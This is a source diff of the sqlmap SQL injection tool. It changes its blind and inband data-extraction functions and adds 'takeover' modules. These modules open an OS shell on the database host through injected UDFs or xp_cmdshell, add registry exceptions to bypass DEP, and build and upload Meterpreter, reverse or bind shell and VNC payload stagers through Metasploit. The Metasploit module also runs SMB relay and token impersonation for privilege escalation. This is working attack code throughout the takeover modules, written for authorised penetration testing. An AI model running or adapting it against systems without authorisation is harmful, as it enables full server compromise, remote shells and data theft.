warnMsg += "of entries for the SQL query provided. "
@ -286,7 +298,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
outputs.append(output)
return outputs
@ -294,17 +306,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
returnValue = __goInference(payload, expression, charsetType)
return returnValue
def __goInband(expression, expected=None):
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter.
@ -319,22 +331,22 @@ def __goInband(expression, expected=None):
and expression in kb.resumedQueries[conf.url].keys()
)
if condition:
if condition and resumeValue == True:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
partial = True
if not output:
output = unionUse(expression, resetCounter=True)
output = unionUse(expression, resetCounter=True, unpack=unpack)
if output:
data = parseUnionPage(output, expression, partial, condition)
data = parseUnionPage(output, expression, partial, condition, sort)
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
@ -346,11 +358,11 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
expression = expandAsteriskForColumns(expression)
value = None
if inband and conf.unionUse and kb.dbms:
if inband and kb.unionPosition:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected)
value = __goInband(expression, expected, sort, resumeValue, unpack)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
@ -358,25 +370,30 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
oldParamFalseCond = conf.paramFalseCond
oldParamNegative = conf.paramNegative
conf.paramFalseCond = False
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
conf.paramFalseCond = oldParamFalseCond
conf.paramNegative = oldParamNegative
return value
def goStacked(expression):
"""
TODO: write description
"""
def goStacked(expression, silent=False):
expression = cleanQuery(expression)
debugMsg = "query: %s" % expression
logger.debug(debugMsg)
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
page, _ = Request.queryPage(payload, content=True, silent=silent)
return payload, page

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

25
lib/takeover/__init__.py Normal file
View File

@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

171
lib/takeover/abstraction.py Normal file
View File

@ -0,0 +1,171 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / xp_cmdshell objects
"""
def __init__(self):
self.envInitialized = False
UDF.__init__(self)
xp_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent)
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd)
elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def runCmd(self, cmd):
getOutput = None
message = "do you want to retrieve the command standard "
message += "output? [Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
output = self.evalCmd(cmd)
if output:
dumper.string("command standard output", output)
else:
print "No output"
else:
self.execCmd(cmd, forgeCmd=True)
if kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system "
infoMsg += "command execution"
logger.info(infoMsg)
elif kb.dbms == "Microsoft SQL Server":
infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg += "operating system command execution"
logger.info(infoMsg)
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows"
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.runCmd(command)
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized == True:
return
self.checkDbmsOs(detailed)
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInit()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg

176
lib/takeover/dep.py Normal file
View File

@ -0,0 +1,176 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP
class DEP:
"""
This class defines methods to handle DEP (Data Execution Prevention)
The following operating systems has DEP enabled by default:
* Windows XP SP2+
* Windows Server 2003 SP1+
* Windows Vista SP0+
* Windows 2008 SP0+
References:
* http://support.microsoft.com/kb/875352
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
"""
def __init__(self):
self.bypassDEP = False
self.__supportDEP = False
def __initVars(self, exe):
self.__DEPvalues = {
"OPTIN": "only Windows system binaries are covered by DEP by default",
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
"ALWAYSOFF": "no DEP coverage for any part of the system"
}
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
self.__excRegValue = exe
self.__excRegValue = self.__excRegValue.replace("/", "\\")
def __addException(self):
infoMsg = "adding an exception to DEP in the Windows registry "
infoMsg += "for '%s' executable" % self.__excRegValue
logger.info(infoMsg)
if kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL server runs as postgres "
warnMsg += "user which has no privileges to add/delete "
warnMsg += "Windows registry keys, sqlmap will give it a try "
warnMsg += "anyway"
logger.warn(warnMsg)
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
def delException(self):
if self.bypassDEP == False:
return
infoMsg = "deleting the exception to DEP in the Windows registry "
infoMsg += "for Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.delRegKey(self.__excRegKey, self.__excRegValue)
def __analyzeDEP(self):
detectedValue = False
for value, explanation in self.__DEPvalues.items():
if value in kb.dep:
detectedValue = True
if value in ( "OPTIN", "ALWAYSOFF" ):
logger.info(explanation)
self.bypassDEP = False
elif value == "OPTOUT":
logger.info(explanation)
self.bypassDEP = True
self.__addException()
elif value == "ALWAYSON":
logger.warn(explanation)
self.bypassDEP = True
self.__addException()
if detectedValue == False:
warnMsg = "it was not possible to detect the DEP system "
warnMsg += "policy, sqlmap will threat as if "
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
logger.warn(warnMsg)
self.__addException()
def __systemHasDepSupport(self):
depEnabledOS = {
"2003": ( 1, 2 ),
"2008": ( 0, 1 ),
"XP": ( 2, 3 ),
"Vista": ( 0, 1 ),
}
for version, sps in depEnabledOS.items():
if kb.osVersion == version and kb.osSP in sps:
self.__supportDEP = True
break
def handleDep(self, exe):
logger.info("handling DEP")
self.__systemHasDepSupport()
if self.__supportDEP == True:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "supports DEP: going to handle it"
logger.info(infoMsg)
elif not kb.osVersion or not kb.osSP:
warnMsg = "unable to fingerprint the back-end DBMS "
warnMsg += "underlying operating system version and service "
warnMsg += "pack: going to threat as if DEP is enabled"
logger.warn(warnMsg)
self.bypassDEP = True
else:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "does not support DEP: no need to handle it"
logger.info(infoMsg)
return
logger.info("checking DEP system policy")
self.__initVars(exe)
if not kb.dep:
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
setDEP()
self.__analyzeDEP()

666
lib/takeover/metasploit.py Normal file
View File

@ -0,0 +1,666 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class Metasploit:
"""
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
self.connectionStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
self.__msfPayloadsList = {
"windows": {
1: ( "Meterpreter (default)", "windows/meterpreter" ),
2: ( "Shell", "windows/shell" ),
3: ( "VNC", "windows/vncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
}
}
self.__msfConnectionsList = {
"windows": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
3: ( "Reverse TCP", "reverse_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
},
"linux": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ),
}
}
self.__msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
10: ( "Non-Upper Encoder", "x86/nonupper" ),
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
}
}
self.__msfSMBPortsList = {
"windows": {
1: ( "139/TCP (default)", "139" ),
2: ( "445/TCP", "445" ),
}
}
self.__portData = {
"bind": "remote port numer",
"reverse": "local port numer",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
os = "windows"
else:
os = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[os].items():
description = data[0]
if num > maxValue:
maxValue = num
if "default" in description:
default = num
message += "\n[%d] %s" % (num, description)
else:
message += " [%d] " % default
choice = readInput(message, default="%d" % default)
if not choice:
if lst:
choice = str(default)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
if lst:
choice = lst[os][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to abuse "
infoMsg += "Windows Impersonation Tokens via Meterpreter "
infoMsg += "'incognito' extension to privilege escalate"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
if __payloadStr == "windows/vncinject":
choose = False
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because often Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose == True:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
break
elif choice == "1":
if kb.dbms == "PostgreSQL":
logger.warn("beware that the VNC injection might not work")
break
elif askChurrasco == False:
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if uploaded == False:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
address = self.remoteIP
return address
elif self.connectionStr.startswith("reverse"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.localIP
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.localIP
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.localIP
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.localIP
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows":
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
if extra is not None:
self.__payloadCmd += " %s" % extra
else:
self.__payloadCmd += " X"
def __runMsfCli(self, exitfunc="process"):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
logger.info(infoMsg)
if kb.os != "Windows":
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco == True:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile != None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use priv\n")
if conf.privEsc == True:
print
infoMsg = "loading Meterpreter 'incognito' extension and "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
proc_out_fd = proc.stdout.fileno()
setNonBlocking(proc_out_fd)
while True:
returncode = proc.poll()
if returncode is None:
# Child hasn't exited yet
pass
else:
logger.debug("connection closed properly")
return returncode
try:
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
proc.stdin.write(blockingReadFromFD(stdin_fd))
except IOError:
# Probably the child has exited
pass
if proc_out_fd in ready_fds[0]:
out = blockingReadFromFD(proc_out_fd)
blockingWriteToFD(sys.stdout.fileno(), out)
# For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out
# For --os-smbrelay
smbRelayCond = "Server started" in out
if pwnBofCond or smbRelayCond:
func()
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess and self.payloadStr == "windows/meterpreter":
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
return returncode
def createMsfShellcode(self):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.shellcodeChar = ""
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
self.__initVars()
self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__shellcodeFileP.close()
if payloadSize:
payloadSize = payloadSize.group(1)
debugMsg = "the shellcode size is %s bytes" % payloadSize
logger.debug(debugMsg)
else:
raise sqlmapFilePathException, "failed to create the shellcode"
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFileP.read()
self.__shellcodeFileP.close()
os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True):
if initialize == True:
infoMsg = ""
else:
infoMsg = "re"
infoMsg += "creating Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__exeFileP = open(self.exeFilePathLocal, "wb")
if initialize == True:
self.__initVars()
if self.payloadStr == None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd()
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__exeFileP.close()
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
packedSize = upx.pack(self.exeFilePathLocal)
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
else:
debugMsg += "as a portable executable its size is "
debugMsg += "%s bytes" % exeSize
logger.debug(debugMsg)
else:
raise sqlmapFilePathException, "failed to create the payload stager"
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)
def pwn(self):
self.__runMsfCli()
if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
logger.debug(debugMsg)
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")
